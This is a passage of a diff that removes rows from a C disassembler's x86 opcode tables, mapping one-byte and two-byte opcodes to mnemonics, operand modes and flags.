- { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH , "pusha", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "popa", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "bound", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_PRIV, "arpl", AM_E|OT_w, AM_G|OT_w, FLAGS_NONE, 1 },
- // seg FS override
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- // seg GS override
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- // operand size override
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- // address size override
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_I|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_EIMUL, "imul", AM_G|OT_v, AM_E|OT_v, AM_I|OT_v , 1 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_I|OT_b|F_s, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_EIMUL, "imul", AM_G|OT_v, AM_E|OT_v, AM_I|OT_b|F_s, 1 },
- { INSTRUCTION_TYPE_PRIV, "insb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "insv", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "outsb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "outsv", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jo", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jno", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jb", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnb", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jz", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnz", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jbe", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnbe", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "js", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jns", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jp", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnp", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jl", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnl", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jle", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnle", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_v, AM_I|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_v, AM_I|OT_b|F_s, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_XCHG, "xchg", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_XCHG, "xchg", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVSR, "mov", AM_E|OT_w, AM_S|OT_w, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_LEA, "lea", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVSR, "mov", AM_S|OT_w, AM_E|OT_w, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_POP, "pop", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "nop", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_ECX|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_EDX|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_EBX|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_ESP|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_EBP|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_ESI|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v, AM_REG|REG_EDI|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "cbw", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "cwd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_CALL, "callf", AM_A|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "wait", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "pushf", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "popf", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "sahf", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "lahf", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EAX|OT_b, AM_O|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EAX|OT_v, AM_O|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_O|OT_v, AM_REG|REG_EAX|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_O|OT_v, AM_REG|REG_EAX|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOVS, "movsb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOVS, "movsd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_CMPS, "cmpsb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_CMPS, "cmpsd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_TEST, "test", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_TEST, "test", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_STOS, "stosb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_STOS, "stosd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_LODS, "lodsb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_LODS, "lodsd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_SCAS, "scasb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_SCAS, "scasd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_AL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_CL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_DL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_BL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_AH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_CH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_DH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_BH|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_ECX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EDX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EBX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_ESP|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EBP|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_ESI|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EDI|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_v, AM_I|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_RET, "retn", AM_I|OT_w, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_RET, "ret", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_LFP, "les", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_LFP, "lds", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },
- // XXX: prepare for group 11
- { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_v, AM_I|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "enter", AM_I|OT_w, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "leave", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_RET, "retf", AM_I|OT_w, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "retf", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_INT, "int3", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_INT, "int", AM_I|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "into", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "iret", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_b, AM_I1|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_v, AM_I1|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_b, AM_REG|REG_CL|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_v, AM_REG|REG_CL|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_ASC, "aam", AM_I|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_ASC, "aad", AM_I|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- // XXX: undocumened?
- { INSTRUCTION_TYPE_OTHER, "salc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "xlat", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_LOOP, "loopn", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_LOOP, "loope", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_LOOP, "loop", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jcxz", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_AL|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_EAX|OT_v, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "out", AM_I|OT_b, AM_REG|REG_AL|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "out", AM_I|OT_b, AM_REG|REG_EAX|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_CALL, "call", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMP, "jmp", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMP, "jmpf", AM_A|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMP, "jmp", AM_J|OT_b, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_EAX|OT_b, AM_REG|REG_EDX|OT_w, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_EAX|OT_v, AM_REG|REG_EDX|OT_w, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "out", AM_REG|REG_EDX|OT_w, AM_REG|REG_EAX|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "out", AM_REG|REG_EDX|OT_w, AM_REG|REG_EAX|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "ext", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "int1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "ext", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "ext", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "hlt", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "cmc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "g3", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "g3", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "clc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "stc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "cli", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "sti", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "cld", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "std", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "g4", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- // XXX: far call/jmp syntax in 16-bit mode
- { INSTRUCTION_TYPE_OTHER, "g5", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 },
-};
-
-
-// 2-byte instructions
-
-INST inst_table2[256] = {
- { INSTRUCTION_TYPE_OTHER, "g6", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- // XXX: smsw and lmsw in grp 7 use addressing mode E !!!
- { INSTRUCTION_TYPE_OTHER, "g7", AM_M|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_PRIV, "lar", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_PRIV, "lsl", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- // XXX: undocumented?
- { INSTRUCTION_TYPE_OTHER, "loadall286",FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "clts", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- // XXX: undocumented?
- { INSTRUCTION_TYPE_OTHER, "loadall", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "invd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "wbinvd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "ud2", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_SSE, "movups", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "movups", AM_W|OT_ps, AM_V|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "movlps", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "movlps", AM_M|OT_q, AM_V|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "unpcklps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "unpcklps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "movhps", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "movhps", AM_M|OT_q, AM_V|OT_ps, FLAGS_NONE, 1 },
- // XXX: grp 16 (prefetch)
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "mov", AM_R|OT_d, AM_C|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_PRIV, "mov", AM_R|OT_d, AM_D|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_PRIV, "mov", AM_C|OT_d, AM_R|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_PRIV, "mov", AM_D|OT_d, AM_R|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_PRIV, "mov", AM_R|OT_d, AM_T|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "mov", AM_T|OT_d, AM_R|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_SSE, "movaps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "movaps", AM_W|OT_ps, AM_V|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "cvtpi2ps", AM_V|OT_ps, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "movntps", AM_M|OT_ps, AM_V|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "cvttps2pi",AM_P|OT_q, AM_W|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "cvtps2pi", AM_P|OT_q, AM_W|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "ucomiss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "comiss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "wrmsr", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "rdtsc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "rdmsr", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "rdpmc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
